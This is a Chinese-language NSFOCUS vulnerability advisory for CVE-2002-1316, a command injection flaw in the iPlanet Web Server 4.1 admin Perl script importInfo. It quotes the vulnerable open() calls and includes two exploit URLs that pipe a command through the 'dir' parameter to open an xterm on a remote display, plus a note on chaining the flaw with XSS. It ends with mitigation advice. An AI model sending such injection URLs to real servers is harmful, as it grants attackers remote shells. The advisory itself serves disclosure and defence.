安全研究

安全漏洞
iPlanet WebServer管理服务PERL脚本任意命令执行漏洞

发布日期:2002-11-19
更新日期:2002-11-21

受影响系统:
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP9
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP8
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP7
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP6
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP5
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP4
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP3
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP2
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP11
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP10
iPlanet E-Commerce Solutions iPlanet Web Server 4.1 SP1
iPlanet E-Commerce Solutions iPlanet Web Server 4.1
描述:
CVE(CAN) ID: CVE-2002-1316

Sun iPlanet Web是一款Sun Microsystems公司开发的商业WEB服务器程序,包含iPlanet Admin Server管理服务程序。

iPlanet管理服务程序多处调用不安全系统调用如system()、popen()、strcpy()、sprintf(),远程攻击者可以利用这个漏洞执行任意系统命令。

NGSEC发现importInfo PERL脚本存在两个问题可执行任意命令。

第一个问题是Magnus类构造器中使用了不安全的open()调用,由于包含CGI数据的参数由用户提供,因此可以在'dir'变量中插入任意系统命令:
-
$oldMagnus = new
Magnus("$cgiVars{'dir'}/$cgiVars{'server'}/config/magnus.conf");


可以利用下面的URL发送xterm到192.168.1.1:

http://<server>:8888/https-admserv/bin/perl/importInfo?dir=|/usr/openwin/bin/xterm+-display+192.168.1.1:0%00

第二个问题是不安全使用了open()函数,open()参数传递包含用户提供的CGI数据,可以在'dir'变量中提交任意命令执行。


if ($cgiVars{'version'} eq "3.6") {
# users info
$dbswitch = ("$cgiVars{'dir'}/userdb/dbswitch.conf");
open(DBSWITCH, $dbswitch) or
die "<FONT COLOR=\"red\">Cannot open $dbswitch: $!.</FONT>\n";


可以利用下面的URL发送xterm到192.168.1.1:

http://<server>:8888/https-admserv/bin/perl/importInfo?dir=|/usr/openwin/bin/xterm+-display+192.168.1.1:0%00&version=3.6

不过这个脚本的访问需要用户名和密码,但是结合利用iPlanet另外一个漏洞"iPlanet webserver跨站脚本执行漏洞",就可以诱骗管理员浏览器包含恶意命令的链接,并执行任意命令。

<*来源:Ferm韓 J. Serna (fjserna@ngsec.com
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=103772308030269&w=2
*>

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 关闭使用iPlanet Admin server。

厂商补丁:

iPlanet E-Commerce Solutions
----------------------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.iplanet.com/

浏览次数:3137
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障